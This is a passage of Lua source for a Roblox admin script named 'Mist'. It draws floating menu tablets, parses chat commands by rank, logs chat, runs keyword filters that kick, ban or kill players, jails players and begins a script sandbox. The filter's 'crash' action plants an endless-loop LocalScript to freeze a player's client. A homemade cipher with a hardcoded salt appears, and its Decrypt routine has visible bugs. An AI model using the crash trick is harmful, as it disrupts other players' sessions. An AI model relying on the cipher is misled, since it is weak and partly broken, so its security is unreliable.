  888. needed=needed+total_use;
  889. current_stack={};
  890. stack[#stack+1]=current_stack;
  891. end;
  892. table.insert(current_stack,v);
  893. end;
  894. for row,stacked in next,stack do
  895. for i,tab in next,stacked do
  896. local x,y,z,pos,rad,m,bp,ap,cp,d;
  897. pcall(function()pos=Player.Character.Torso.CFrame;end);
  898. if(pos==nil)then return end;
  899. rad=(2+(row*3.05));y=math.sin(time()/5);
  900. m=(i/(#stacked)-(.5/#stacked)+(Mist.Tablet_Data.Rotation/(#stacked/10)))*math.pi*2;
  901. x=math.sin(m)*rad;
  902. z=math.cos(m)*rad;
  903. ap=Vector3.new(x,y,z)+pos.p;
  904. bp=tab.Part.CFrame.p;
  905. cp=(ap*.1+bp*.9);
  906. d=math.rad((Mist.Tablet_Data.Rotation*400)*math.pi);
  907. local angles=function()
  908. local ang={d,d,d}
  909. if(Mist.Settings.tabletType~='Block')then
  910. ang[1]=0;
  911. ang[2]=0;
  912. ang[3]=math.sin(Mist.Tablet_Data.Rotation*100)*.4;
  913. end;
  914. return unpack(ang);
  915. end;
  916. setShape(tab.Part);
  917. tab.Part.CFrame=CFrame.new(cp,pos.p)*CFrame.Angles(angles());
  918. end;
  919. end;
  920. else
  921. for i,tablet in next,Tablets do
  922. local x,y,z,pos,rad,m,bp,ap,cp,d;
  923. pcall(function()pos=Player.Character.Torso.CFrame;end);
  924. if(pos==nil)then return end;
  925. rad=(#Tablets*.8)+4;y=math.sin(tick())*.3;
  926. m=(i/#Tablets-(.5/#Tablets)+(Mist.Tablet_Data.Rotation/(#Tablets/10)))*math.pi*2;
  927. if(Movement=='Oval')then
  928. x,z=math.sin(m)*rad,math.cos(m)*(rad/2);
  929. elseif(Movement=='Bounce_Swirl')then
  930. m=(m/2)*(2+math.sin(tick()));
  931. x,z=math.sin(m)*(rad-(i*.1)),math.cos(m)*(rad-(i*.1));
  932. elseif(Movement=='Swirl')then
  933. m=(m/2)*(-5);
  934. local rad=(rad-(i))
  935. x,z=math.sin(m)*rad,math.cos(m)*rad;
  936. --[=[elseif(Movement=='Stacked')then
  937. --[[local base=1;
  938. local rr=0;
  939. local add=0;
  940. local asd=6;
  941. local asd2=0;
  942. local row=0;
  943. repeat
  944. rr=rr+asd;
  945. add=add+2;
  946. asd=asd+add;
  947. row=row+1;
  948. until rr>i;
  949. local int=(rr-i);
  950. m=(int/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  951. x=math.sin(m)*(base+(row*2));
  952. z=math.cos(m)*(base+(row*2));]]
  953. local increase_add=0;
  954. local total=4;
  955. local x_out=0;
  956. local start_add=8;
  957. repeat
  958. start_add=start_add+increase_add;
  959. increase_add=increase_add+2;
  960. x_out=x_out+1;
  961. total=total+start_add;
  962. until total>=i;
  963. local start=(total-start_add);
  964. local _end=total;
  965. local dif=_end-start;
  966. x_out=x_out*3;
  967. m=((total-i)/start_add-(.5/dif)+(Mist.Tablet_Data.Rotation/(dif/10)))*math.pi*2;
  968. x,z=math.sin(m)*(x_out),math.cos(m)*x_out;]--]=]
  969. elseif(Movement=='Circle')then
  970. x,z=math.sin(m)*rad,math.cos(m)*rad;
  971. --Mono, di, tri, tetra, penta, hexa, hepta, octa, nona, deca
  972. elseif(Movement=='Inverse_Oval')then
  973. x=math.sin(m)*(rad/2);z=math.cos(m)*rad;
  974. elseif(Movement=='Deca')then
  975. local _m=m;
  976. local asd=((#Tablets>10 and 10)or #Tablets);
  977. local function sFloor(i,d)
  978. d=d or asd;
  979. if(i%d==0)then
  980. return math.floor((i-1)/d);
  981. else
  982. return math.floor(i/d);
  983. end;
  984. end;
  985. local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  986. x=math.sin(m)*(10+(sFloor(i)*4));
  987. z=math.cos(m)*(10+(sFloor(i)*4));
  988. elseif(Movement=='Nona')then
  989. local _m=m;
  990. local asd=((#Tablets>9 and 9)or #Tablets);
  991. local function sFloor(i,d)
  992. d=d or asd;
  993. if(i%d==0)then
  994. return math.floor((i-1)/d);
  995. else
  996. return math.floor(i/d);
  997. end;
  998. end;
  999. local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  1000. x=math.sin(m)*(10+(sFloor(i)*4));
  1001. z=math.cos(m)*(10+(sFloor(i)*4));
  1002. elseif(Movement=='Octa')then
  1003. local _m=m;
  1004. local asd=((#Tablets>8 and 8)or #Tablets);
  1005. local function sFloor(i,d)
  1006. d=d or asd;
  1007. if(i%d==0)then
  1008. return math.floor((i-1)/d);
  1009. else
  1010. return math.floor(i/d);
  1011. end;
  1012. end;
  1013. local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  1014. x=math.sin(m)*(10+(sFloor(i)*4));
  1015. z=math.cos(m)*(10+(sFloor(i)*4));
  1016. ----Mono, di, tri, tetra, penta, hexa, hepta, octa, nona, deca
  1017. elseif(Movement=='Hepta')then
  1018. local _m=m;
  1019. local asd=((#Tablets>7 and 7)or #Tablets);
  1020. local function sFloor(i,d)
  1021. d=d or asd;
  1022. if(i%d==0)then
  1023. return math.floor((i-1)/d);
  1024. else
  1025. return math.floor(i/d);
  1026. end;
  1027. end;
  1028. local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  1029. x=math.sin(m)*(10+(sFloor(i)*4));
  1030. z=math.cos(m)*(10+(sFloor(i)*4));
  1031. elseif(Movement=='Hexa')then
  1032. local _m=m;
  1033. local asd=((#Tablets>6 and 6)or #Tablets);
  1034. local function sFloor(i,d)
  1035. d=d or asd;
  1036. if(i%d==0)then
  1037. return math.floor((i-1)/d);
  1038. else
  1039. return math.floor(i/d);
  1040. end;
  1041. end;
  1042. local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  1043. x=math.sin(m)*(10+(sFloor(i)*4));
  1044. z=math.cos(m)*(10+(sFloor(i)*4));
  1045. elseif(Movement=='Penta')then
  1046. local _m=m;
  1047. local asd=((#Tablets>5 and 5)or #Tablets);
  1048. local function sFloor(i,d)
  1049. d=d or asd;
  1050. if(i%d==0)then
  1051. return math.floor((i-1)/d);
  1052. else
  1053. return math.floor(i/d);
  1054. end;
  1055. end;
  1056. local m=(i/asd-(.5/asd)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  1057. x=math.sin(m)*(10+(math.floor(i/asd)*4));
  1058. z=math.cos(m)*(10+(math.floor(i/asd)*4));
  1059. elseif(Movement=='Quad')then
  1060. local _m=m;
  1061. local asd=((#Tablets>4 and 4)or #Tablets);
  1062. local function sFloor(i,d)
  1063. d=d or asd;
  1064. if(i%d==0)then
  1065. return math.floor((i-1)/d);
  1066. else
  1067. return math.floor(i/d);
  1068. end;
  1069. end;
  1070. local m=(i/asd-(.5/5)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  1071. x=math.sin(m)*(10+(sFloor(i)*4));
  1072. z=math.cos(m)*(10+(sFloor(i)*4));
  1073. elseif(Movement=='Tri')then
  1074. local _m=m;
  1075. local asd=((#Tablets>3 and 3)or #Tablets);
  1076. local function sFloor(i,d)
  1077. d=d or asd;
  1078. if(i%d==0)then
  1079. return math.floor((i-1)/d);
  1080. else
  1081. return math.floor(i/d);
  1082. end;
  1083. end;
  1084. local m=(i/asd-(.5/5)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  1085. x=math.sin(m)*(10+(sFloor(i)*4));
  1086. z=math.cos(m)*(10+(sFloor(i)*4));
  1087. elseif(Movement=='Di')then
  1088. --Mono, di, tri, tetra, penta, hexa, hepta, octa, nona, deca
  1089. local _m=m;
  1090. local asd=((#Tablets>2 and 2)or #Tablets);
  1091. local function sFloor(i,d)
  1092. d=d or asd;
  1093. if(i%d==0)then
  1094. return math.floor((i-1)/d);
  1095. else
  1096. return math.floor(i/d);
  1097. end;
  1098. end;
  1099. local m=(i/asd-(.5/5)+(Mist.Tablet_Data.Rotation/(asd /10)))*math.pi*2;
  1100. x=math.sin(m)*(10+(sFloor(i)*4));
  1101. z=math.cos(m)*(10+(sFloor(i)*4));
  1102. elseif(Movement=='Mono')then
  1103. --Mono, di, tri, tetra, penta, hexa, hepta, octa, nona, deca
  1104. local _m=m;
  1105. local asd=((#Tablets>1 and 1)or #Tablets);
  1106. local function sFloor(i,d)
  1107. d=d or asd;
  1108. if(i%d==0)then
  1109. return math.floor((i-1)/d);
  1110. else
  1111. return math.floor(i/d);
  1112. end;
  1113. end;
  1114. local m=(i/asd-(.5/5)+(Mist.Tablet_Data.Rotation/(asd/10)))*math.pi*2;
  1115. x=math.sin(m)*(10+(sFloor(i)*4));
  1116. z=math.cos(m)*(10+(sFloor(i)*4));
  1117. end;
  1118. ap=Vector3.new(x,y,z)+pos.p;
  1119. bp=tablet.Part.CFrame.p;
  1120. cp=(ap*.1+bp*.9);
  1121. d=math.rad((Mist.Tablet_Data.Rotation*400)*math.pi);
  1122. setShape(tablet.Part);
  1123. local angles=function()
  1124. local ang={d,d,d}
  1125. if(Mist.Settings.tabletType~='Block')then
  1126. ang[1]=0;
  1127. ang[2]=0;
  1128. ang[3]=math.sin(Mist.Tablet_Data.Rotation*100)*.4;
  1129. end;
  1130. return unpack(ang);
  1131. end;
  1132. tablet.Part.CFrame=CFrame.new(cp,pos.p)*CFrame.Angles(angles());
  1133. end;
  1134. end;
  1135. local title=Mist.Functions.GetTitle(Player);
  1136. if(title)then
  1137. local a,b=pcall(function()
  1138. local x,y,z,pos,rad,m,bp,ap,cd,d;
  1139. pcall(function()pos=Player.Character.Torso.CFrame;end);
  1140. if(pos==nil)then return end;
  1141. rad=10;y=4;
  1142. m=(.5+(Mist.Tablet_Data.Rotation/.5))*math.pi*2;
  1143. x=math.cos(m)*rad;
  1144. z=math.sin(m)*rad;
  1145. ap=Vector3.new(x,y,z)+pos.p;
  1146. bp=title.Part.CFrame.p;
  1147. cp=(ap*.1+bp*.9);
  1148. title.Part.CFrame=CFrame.new(cp,pos.p+Vector3.new(0,y,0));
  1149. end);
  1150. if(not a)then print(b) end;
  1151. end;
  1152. end)();
  1153. end;
  1154. end)();
  1155. end;
  1156. Mist.Functions.GetTablets=function(Player)
  1157. pcall(function()Player=Player.Name;end);
  1158. local Tabs={};
  1159. for _,Tablet in next,Mist.Tablets do
  1160. if(Tablet.Owner==Player)then
  1161. table.insert(Tabs,Tablet);
  1162. end;
  1163. end;
  1164. return Tabs;
  1165. end;
  1166. Mist.Functions.Output=function(Text,Color,Player,Time,Func,Image,DoNotAdd)
  1167. if(Player==nil)then return end;
  1168. Text=Text or'';
  1169. Color=Color or'Orange';
  1170. if(Color=='Random')then
  1171. Color=BrickColor:random().Color;
  1172. elseif(type(Color)=='string')then
  1173. Color=Mist.Colors[Color];
  1174. end;
  1175. if(Color==nil and type(Color)=='string')then
  1176. for name,c in next,Mist.Colors do
  1177. if(Color:lower()==name:lower())then
  1178. Color=c;
  1179. end;
  1180. end;
  1181. elseif(Color==nil)then
  1182. Color=Color3.new(1,1,1);
  1183. end;
  1184. local Model,Tablet,Sel,Bill,Label,Click;
  1185. Model=meta_create'Model'{
  1186. Parent=Mist.Services'Workspace';
  1187. Name=(function()local r='';for i=1,100 do r=r..string.char(math.random(1,150))end;return r;end)();
  1188. };
  1189. Tablet=meta_create'Part'{
  1190. Parent=Model;
  1191. FormFactor='Custom';
  1192. TopSurface='Smooth';
  1193. BottomSurface='Smooth';
  1194. Transparency=.5;
  1195. Anchored=true;
  1196. CanCollide=false;
  1197. Color=Color;
  1198. Locked=true;
  1199. Size=Vector3.new(2.5,2.5,2.5);
  1200. CFrame=(function()
  1201. local cf=CFrame.new(0,5,0);
  1202. pcall(function()
  1203. cf=Player.Character.Torso.CFrame*CFrame.new(0,5,0);
  1204. end);
  1205. return cf;
  1206. end)();
  1207. };
  1208. Sel=meta_create'SelectionBox'{
  1209. Parent=Tablet;
  1210. Adornee=Tablet;
  1211. Color=BrickColor.new(Color);
  1212. Transparency=.5;
  1213. };
  1214. Bill=meta_create'BillboardGui'{
  1215. Parent=Model;
  1216. StudsOffset=Vector3.new(0,3,0);
  1217. Size=UDim2.new(10,0,10,0);
  1218. Name='\2\3\4';
  1219. };
  1220. Label=meta_create'TextLabel'{
  1221. Parent=Bill;
  1222. Text=Text;
  1223. TextColor3=Color;
  1224. FontSize='Size14';
  1225. BackgroundTransparency=1;
  1226. Size=UDim2.new(1,0,1,0);
  1227. TextStrokeTransparency=0.5;
  1228. TextStrokeColor3=Color3.new(0,0,0);
  1229. Name='\2\3\4';
  1230. };
  1231. if(Image)then
  1232. if(tonumber(Image))then
  1233. Image='rbxasset://'..Image;
  1234. end;
  1235. local sec=meta_create'BillboardGui'{
  1236. Parent=Model;
  1237. Name='Image';
  1238. StudsOffset=Vector3.new(0,7,0);
  1239. Size=UDim2.new(5,0,6,0);
  1240. Adornee=Tablet;
  1241. };
  1242. local img=meta_create'ImageLabel'{
  1243. Parent=sec;
  1244. Size=UDim2.new(1,0,1,0);
  1245. BackgroundTransparency=1;
  1246. Image=Image;
  1247. };
  1248. end;
  1249. local Table;
  1250. Click=meta_create'ClickDetector'{
  1251. Parent=Tablet;
  1252. MaxActivationDistance=1/0;
  1253. MouseHoverEnter=function(clicker)
  1254. if(Mist.Functions.GetRank(clicker)<Mist.Functions.GetRank(Player))then return end;
  1255. if(Mist.Ranked[Player.Name].Selection_Type=='Edit')then
  1256. Tablet.Transparency,Sel.Transparency=.3,.3;
  1257. end;
  1258. end;
  1259. MouseHoverLeave=function(clicker)
  1260. if(Mist.Functions.GetRank(clicker)<Mist.Functions.GetRank(Player))then return end;
  1261. if(Mist.Ranked[Player.Name].Selection_Type=='Edit')then
  1262. Tablet.Transparency,Sel.Transparency=.5,.5;
  1263. end;
  1264. end;
  1265. MouseClick=function(clicker)
  1266. if(Mist.Functions.GetRank(clicker)<Mist.Functions.GetRank(Player))then return end;
  1267. if(Text=='Dismiss'or DoNotAdd)then
  1268. Mist.Functions.RemoveTablets(Player);
  1269. end;
  1270. if(Func)then
  1271. ypcall(Func,clicker);
  1272. end;
  1273. Model:remove();
  1274. end
  1275. };
  1276. Table={Model=Model;Part=Tablet;Owner=Player.Name;Sel=Sel;Label=Label};
  1277. if(Time)then
  1278. Mist.Services'Debris':addItem(Model,Time);
  1279. end;
  1280. if(not DoNotAdd)then
  1281. table.insert(Mist.Tablets,Table);
  1282. end;
  1283. return Table;
  1284. end;
  1285. Mist.Functions.Title=function(Text,Col,Player,Time,Func,Image)
  1286. local title=Mist.Functions.Output(Text,Col,Player,Time,Func,Image,true);
  1287. title.Part.Size=Vector3.new(4,1.5,1.5);
  1288. title.start=tick();
  1289. table.insert(Mist.Titles,title);
  1290. return title;
  1291. end;
  1292. Mist.Functions.GetTitle=function(Player)
  1293. pcall(function() Player=Player.Name;end);
  1294. local Titles={};
  1295. for _,Title in next,Mist.Titles do
  1296. if(Title.Owner==Player)then
  1297. table.insert(Titles,Title);
  1298. end;
  1299. end;
  1300. local last,selected=0,0;
  1301. if(#Titles>1)then
  1302. for _,title in next,Titles do
  1303. if(title.start>last)then
  1304. last=title.start;
  1305. selected=_;
  1306. end;
  1307. end;
  1308. for _,v in next,Titles do
  1309. if(_~=selected)then
  1310. pcall(function() v.Model:Destroy() end);
  1311. end;
  1312. end;
  1313. return Titles[selected];
  1314. else
  1315. return Titles[1];
  1316. end;
  1317. end;
  1318. Mist.Functions.OnChatted=function(Message,Speaker)
  1319. pcall(function()
  1320. local disp=Mist.Displays[Speaker.Name];
  1321. if(disp)then
  1322. if(disp=='random')then disp=math.random(0,2) end;
  1323. Mist.Services'Chat':chat(Speaker.Character.Head,Message:sub(1,100),disp);
  1324. end;
  1325. end);
  1326. coroutine.wrap(function()
  1327. for filter_set,filter_type in next,Mist.Filters do
  1328. coroutine.wrap(function()
  1329. local rank=({kick=1,ban=2,crash=1.5,lag=3,kill=0})[filter_type:lower()];
  1330. if(rank==nil)then
  1331. error'nil rank';
  1332. return;
  1333. end;
  1334. local output_messageF='%s was %s\'(ed) for chatting["%s"][%s]';
  1335. local filter_break=false;
  1336. for _,filter in next,filter_set do
  1337. if(Message:lower():match(filter))then
  1338. if(filter_break)then return end;
  1339. if(Mist.Functions.GetRank(Speaker)>rank)then return end;
  1340. filter_break=true;
  1341. if(rank==1)then
  1342. Speaker:kick();
  1343. elseif(rank==2)then
  1344. Speaker:kick();Mist.Ranked[Speaker.Name].Rank=-1;
  1345. elseif(rank==0)then
  1346. Speaker.Character:breakJoints();
  1347. elseif(rank==1.5)then
  1348. Mist.Functions.NewLocalScript('repeat until false',Instance.new('Backpack',Speaker),'derpus');
  1349. end;
  1350. if(rank~=0)then
  1351. coroutine.wrap(function()
  1352. for _,v in next,Mist.Functions.GetPlayers()do
  1353. Mist.Functions.Output(output_messageF:format(Speaker.Name,filter_type,Message:match(filter),filter),'Red',v,5);
  1354. end;
  1355. end)();
  1356. end;
  1357. filter_break=true;
  1358. do break end;--return;
  1359. end;
  1360. end;
  1361. if(filter_break==true)then
  1362. local Data=Mist.AntiFilter[Speaker.Name];
  1363. if(Data==nil)then
  1364. Mist.AntiFilter[Speaker.Name]={1,tick()};
  1365. else
  1366. if(Data[2]+5>tick())then
  1367. Data[1]=Data[1]+1;
  1368. Data[2]=tick();
  1369. if(Data[1]>10)then
  1370. Speaker:kick();
  1371. Mist.Functions.OutputRank(-100,'>',Speaker.Name..' was kicked due to abuse of filter k','Red',5);
  1372. end;
  1373. else
  1374. Mist.AntiFilter[Speaker.Name]=nil;
  1375. end;
  1376. end;
  1377. end;
  1378. end)();
  1379. end;
  1380. end)();
  1381. coroutine.wrap(function()
  1382. if(Mist.Logs.Chat[Speaker.Name]==nil)then
  1383. Mist.Logs.Chat[Speaker.Name]={};
  1384. end;table.insert(Mist.Logs.Chat[Speaker.Name],{Message,Mist.Functions.GetTime(tick())});
  1385. if(Message:sub(1,1)=='*')then
  1386. Message=Mist.Rot.Rotate_String(Message:sub(2),13);
  1387. end;
  1388. if(Message:match'(.+)&(.+)')then
  1389. for _,msg_set in next,{Message:match'(.+)&(.+)'}do
  1390. Mist.Functions.OnChatted(msg_set,Speaker);
  1391. end;
  1392. return;
  1393. end;
  1394. for _,Command in next,Mist.Commands do
  1395. local Used=false;
  1396. for Cmd in Command.Commands:gmatch'([^,]+)'do
  1397. if(Message:match('//'..Cmd))then
  1398. if(Used==true)then return; else Used=true;end;
  1399. local String=Message:match('//'..Cmd..'%s?(.*)');
  1400. String=String or'';
  1401. local Flags={};
  1402. if(Command.UseFlags==true)then
  1403. local Flag=Mist.Ranked[Speaker.Name].Flag;
  1404. String=String:gsub('%%%'..Flag,"?");
  1405. ypcall(function()
  1406. local ss=String:match('%s*%'..Flag..'.*');
  1407. ss=ss or "";
  1408. String=String:gsub(ss:gsub("%"..Flag,"%%"..Flag),"");
  1409. local is=false;
  1410. for s,g in ss:gmatch("%"..Flag.."(%w+)%s*([^-]*)")do
  1411. Flags[s]=g or'';
  1412. is=true;
  1413. end;
  1414. if(not is)then
  1415. Flags[1]=true;
  1416. end;
  1417. end);
  1418. String=String:gsub('?',Flag);
  1419. end;
  1420. if(Mist.Functions.GetRank(Speaker)>=Command.Rank)then
  1421. local Args={ypcall(Command.Func,String,Speaker,Flags)};
  1422. local function unsign(path)
  1423. return path:match'.+%d*%:(.*)$';
  1424. end;
  1425. if(Mist.Logs.Commands[Speaker.Name]==nil)then
  1426. Mist.Logs.Commands[Speaker.Name]={};
  1427. end;
  1428. table.insert(Mist.Logs.Commands[Speaker.Name],{Message,Mist.Functions.GetTime(tick()),Speaker});
  1429. if(not Args[1])then
  1430. Mist.Functions.Output('[Mist.Commands["'.._..'"].Function]: '..unsign(Args[2]),'Red',Speaker,10);
  1431. end;
  1432. else
  1433. Mist.Functions.Output('You do not have the required rank for this command, Please contact an in-game adminstrator (Click for administrators in game)','Red',Speaker,5,function()
  1434. local mods={};
  1435. for name,data in next,Mist.Ranked do
  1436. if(data.Rank and data.Rank>=1)then
  1437. for _,Player in next,game:service'Players':players()do
  1438. if(Player.Name==name)then
  1439. table.insert(mods,name);
  1440. end;
  1441. end;
  1442. end;
  1443. end;
  1444. if(#mods==0)then
  1445. Mist.Functions.Output('No adminstrators for mist currently in-game, click for a list of all ranked players','Red',Speaker,5,nil,function()
  1446. Mist.Functions.OnChatted('//ranked',Speaker);
  1447. end);
  1448. else
  1449. for _,name in next,mods do
  1450. Mist.Functions.Output(name,Mist.Ranked[name].Color,Speaker,nil,nil,Mist.UrlBases.CharImage:format(name));
  1451. end;
  1452. Mist.Functions.Title('Administrator list','Red',Speaker);
  1453. end;
  1454. end);
  1455. end;
  1456. end;
  1457. end;
  1458. if(Used)then break end;
  1459. end;
  1460. end)();
  1461. end;
  1462. Mist.Functions.NewLocalScript=function(Source,Parent,Name,Client)
  1463. Name=Name or'NewLocalScript';
  1464. Source=Source or'';
  1465. Parent=Parent or Instance.new'Glue';
  1466. local Owner=nil;
  1467. if(Parent and Parent:isA'Backpack')then
  1468. Owner=Parent.Parent;
  1469. elseif(Parent:isA'Model')then
  1470. Owner=game:service'Players':playerFromCharacter(Parent);
  1471. end;
  1472. if(newLocalScript)then
  1473. local s=newLocalScript(Source,Instance.new'Model');
  1474. s.Disabled=true;
  1475. if(Client)then
  1476. Instance.new('StringValue',s).Name=Mist.Security_Key;
  1477. Mist.ClientScripts[s]=true;
  1478. end;
  1479. s.Name=Name;
  1480. s.Parent=Parent;
  1481. s.Disabled=false;
  1482. return s;
  1483. else
  1484. local func=coroutine.wrap(function()
  1485. local Clone=Mist.LocalBase:clone();
  1486. Clone.Disabled=false;
  1487. Clone.Name=Name;
  1488. table.foreach(Clone:children(),function(_,V)pcall(game.Destroy,V)end);
  1489. for _,v in pairs{'Source','DSource','source','SRC','sSource'}do
  1490. local SourceValue=Instance.new("StringValue",Clone);
  1491. SourceValue.Name=v;
  1492. SourceValue.Value=Source;
  1493. end;
  1494. if(Client)then
  1495. Instance.new('StringValue',Clone).Name=Mist.Security_Key;
  1496. Mist.ClientScripts[Clone]=true;
  1497. end;
  1498. if(Owner)then
  1499. for _,v in next,{'Owner','user','sPlayer'}do
  1500. local o=Instance.new('ObjectValue',Clone);
  1501. o.Name=v;
  1502. o.Value=Owner;
  1503. end;
  1504. end;
  1505. Clone.Parent=Parent;
  1506. return Clone;
  1507. end);
  1508. local ran,err=ypcall(func);
  1509. if(not ran)then
  1510. error(err,2);
  1511. else
  1512. return err;
  1513. end;
  1514. end;
  1515. end;
  1516. Mist.Functions.GetReplicators=function(clear)
  1517. local rep={};
  1518. for _,v in next,game:service'NetworkServer':children()do
  1519. if(v:isA'ServerReplicator')then
  1520. table.insert(rep,v);
  1521. else
  1522. if(clear)then
  1523. pcall(function()v:Destroy()end);
  1524. end;
  1525. end;
  1526. end;
  1527. return rep;
  1528. end;
  1529. Mist.Functions.Encrypt=function(String,Salt)
  1530. Salt=Salt or 'ahag8eq1839a88s8ge8agiaiiea981';
  1531. local bytes={};
  1532. if(type(Salt)=='string')then
  1533. for i=1,#Salt do
  1534. bytes[i]=Salt:byte(i);
  1535. end;
  1536. else
  1537. bytes=Salt;
  1538. end;
  1539. local string_len=String:len();
  1540. local byte_len=#bytes;
  1541. local string_byte={};
  1542. for index=1,#String do
  1543. string_byte[index]=String:byte(index);
  1544. end;
  1545. local seed,result=0,{};
  1546. for key=1,byte_len do
  1547. seed=(seed+bytes[key]*key)*37789+60061;
  1548. seed=(seed-seed%256)/256%65536;
  1549. end;
  1550. for m=1,string_len do
  1551. local b=string_byte[m];
  1552. for k=1,byte_len do
  1553. local kb=bytes[k];
  1554. local res=m+k-1;
  1555. local resb=m+(result[res]or 0);
  1556. if(resb>255)then
  1557. resb=resb-256;
  1558. end;
  1559. resb=resb+k;
  1560. if(resb>255)then
  1561. resb=resb-256;
  1562. end;
  1563. seed=(seed*37789+60061)%65536;
  1564. resb=resb+(seed-seed%256)/256;
  1565. if(resb>255)then
  1566. resb=resb-256;
  1567. end;
  1568. result[res]=resb;
  1569. end;
  1570. end;
  1571. local buff={};
  1572. local buff_i=1;
  1573. for index=1,#result do
  1574. local rb=result[index];
  1575. buff[buff_i]=('%02x'):format(rb);
  1576. end;
  1577. return table.concat(buff,'');
  1578. end;
  1579. Mist.Functions.Decrypt=function(String,Salt)
  1580. Salt=Salt or'ahag8eq1839a88s8ge8agiaiiea981';
  1581. local bytes={};
  1582. if(type(Salt)=='String')then
  1583. for i=1,#Salt do
  1584. bytes[i]=Salt:byte(i);
  1585. end;
  1586. else
  1587. bytes=Salt;
  1588. end;
  1589. local raw_len,salt_len,cb,c_len,cbi=#String,#bytes,{},0,1;
  1590. for _byte in String:gmatch'(%x%x)'do
  1591. c_len=c_len+1;
  1592. cb[c_len]=tonumber(_byte,16);
  1593. end;
  1594. local rand_b,rand_s={},0;
  1595. for ki=1,salt_len do
  1596. rand_s=(rand_s+bytes[ki]*ki)*37789+60061;
  1597. rand_s=(rand_s-rand_s*256)/256%65536;
  1598. end;
  1599. for ri=1,(c_len-salt_len+1)*salt_len do
  1600. rand_s=(rand_s*37789+60061)%65536;
  1601. rand_b[ri]=(rand_s-rand_s%256)/256;
  1602. end;
  1603. local ri,last,res_b=#rand_b,bytes[salt_len],{};
  1604. for ci=c_len,salt_len,-1 do
  1605. local resb=cb[ci]-last;
  1606. if(resb<0)then
  1607. resb=resb+256;
  1608. end;
  1609. resb=resb-rand_b[ri];
  1610. ri=ri-1;
  1611. if(resb<0)then
  1612. resb=resb+256;
  1613. end;
  1614. for ki=salt_len-1,1,-1 do
  1615. cbi=cbi-1;
  1616. local c_byte=cb[cbi]-bytes[ki];
  1617. if(c_byte<0)then
  1618. c_byte=c_byte+256;
  1619. end;
  1620. c_byte=c_byte-resb;
  1621. if(c_byte<0)then
  1622. c_byte=c_byte+256;
  1623. end;
  1624. c_byte=c_byte-rand_b[ri];
  1625. ri=ri-1;
  1626. if(c_byte<0)then
  1627. c_byte=c_byte+256;
  1628. end;
  1629. cb[cbi]=c_byte;
  1630. end;
  1631. res_b[cbi]=resb;
  1632. end;
  1633. local resc={};
  1634. for resi=1,#res_b do
  1635. resc[resi]=string.char(res_b[resi]);
  1636. end;
  1637. return table.concat(resc,'');
  1638. end;
  1639. Mist.Functions.IsClientScript=function(o)
  1640. return(Mist.ClientScripts[o] or o:findFirstChild(Mist.Security_Key)~=nil);
  1641. end;
  1642. Mist.Functions.Jail=function(user,un,BasePosition)
  1643. pcall(function()
  1644. Mist.Connections['Jailed:'..user.Name]:disconnect();
  1645. end);
  1646. if(un)then return end;
  1647. coroutine.resume(coroutine.create(function()
  1648. repeat wait() until user and user.Character and user.Character:findFirstChild'Torso'
  1649. local jailModel;
  1650. local connection={
  1651. disconnect=function(self)
  1652. for _,event in next,self.events do
  1653. event:disconnect();
  1654. end;
  1655. jailModel:Destroy();
  1656. end;
  1657. events={};
  1658. };
  1659. local TorsoCFrame;do
  1660. if(BasePosition)then
  1661. TorsoCFrame=BasePosition;
  1662. else
  1663. TorsoCFrame=CFrame.new(user.Character.Torso.CFrame.p);
  1664. end;
  1665. end;
  1666. local lockedInstance=function(Class,Parent)
  1667. local class=Instance.new(Class,Parent);
  1668. return class;
  1669. end;
  1670. jailModel=lockedInstance('Model',workspace);
  1671. jailModel.Name='JAIL';
  1672. connection.jail=jailModel;
  1673. coroutine.wrap(function()
  1674. for xRot=1,25 do
  1675. for zRot=1,4 do
  1676. local pos=CFrame.new(TorsoCFrame.p)*CFrame.Angles(math.rad(zRot*45),math.rad(xRot*15),0)*CFrame.new(0,0,-5);
  1677. local part=lockedInstance('Part',jailModel);
  1678. part.Anchored=true;
  1679. part.Size=Vector3.new(1,1,1);
  1680. table.insert(connection.events,part.Changed:connect(function()
  1681. part.CFrame=pos;
  1682. end));
  1683. part.CFrame=pos;
  1684. part.Color=BrickColor.new((((xRot+zRot)%2==0 and 'Really red')or'Black')).Color;
  1685. end;
  1686. wait();
  1687. end;
  1688. end)();
  1689. table.insert(connection.events,game:service'RunService'.Stepped:connect(function()
  1690. pcall(function()
  1691. if(not jailModel:isDescendantOf(workspace))then
  1692. Mist.Functions.Jail(user,nil,TorsoCFrame);
  1693. end;
  1694. end);
  1695. pcall(function()
  1696. local char=user.Character;
  1697. if(char==nil or char.Parent~=workspace)then
  1698. user:loadCharacter();
  1699. end;
  1700. repeat wait()
  1701. for _,v in next,char:children()do
  1702. if(v:isA'Model')then
  1703. char=v;
  1704. end;
  1705. end;
  1706. until char:findFirstChild'Torso'and char:findFirstChild'Head'
  1707. local mag=(char.Torso.CFrame.p-TorsoCFrame.p).magnitude;
  1708. if(mag>=5)then
  1709. char.Torso.CFrame=TorsoCFrame;
  1710. end;
  1711. end);
  1712. end));
  1713. table.insert(connection.events,jailModel.AncestryChanged:connect(function()
  1714. if(jailModel.Parent~=workspace)then
  1715. Mist.Functions.Jail(user,nil,TorsoCFrame);
  1716. end;
  1717. end));
  1718. Mist.Connections['Jailed:'..user.Name]=connection;
  1719. end));
  1720. end;
  1721. Mist.Functions.SandboxScript=function(Script)
  1722. if(Mist.Functions.IsClientScript(Script) or (game.PlaceId==21053279 or game.PlaceId==54194680))then Script.Disabled=false return end; -- Temporary
  1723. Script.Disabled=true;
  1724. local Source=Script:findFirstChild'DSource' or Script:FindFirstChild'Source'or Script:findFirstChild'source' or Script:findFirstChild'sSource';
  1725. local Old=Source.Value;
  1726. Source.Value=[=[
  1727. local ypcall=ypcall;
  1728. local sandbox={disabled=false};sandbox={
  1729. real={};
  1730. fake={};
  1731. new={};
  1732. old={
  1733. require=require;
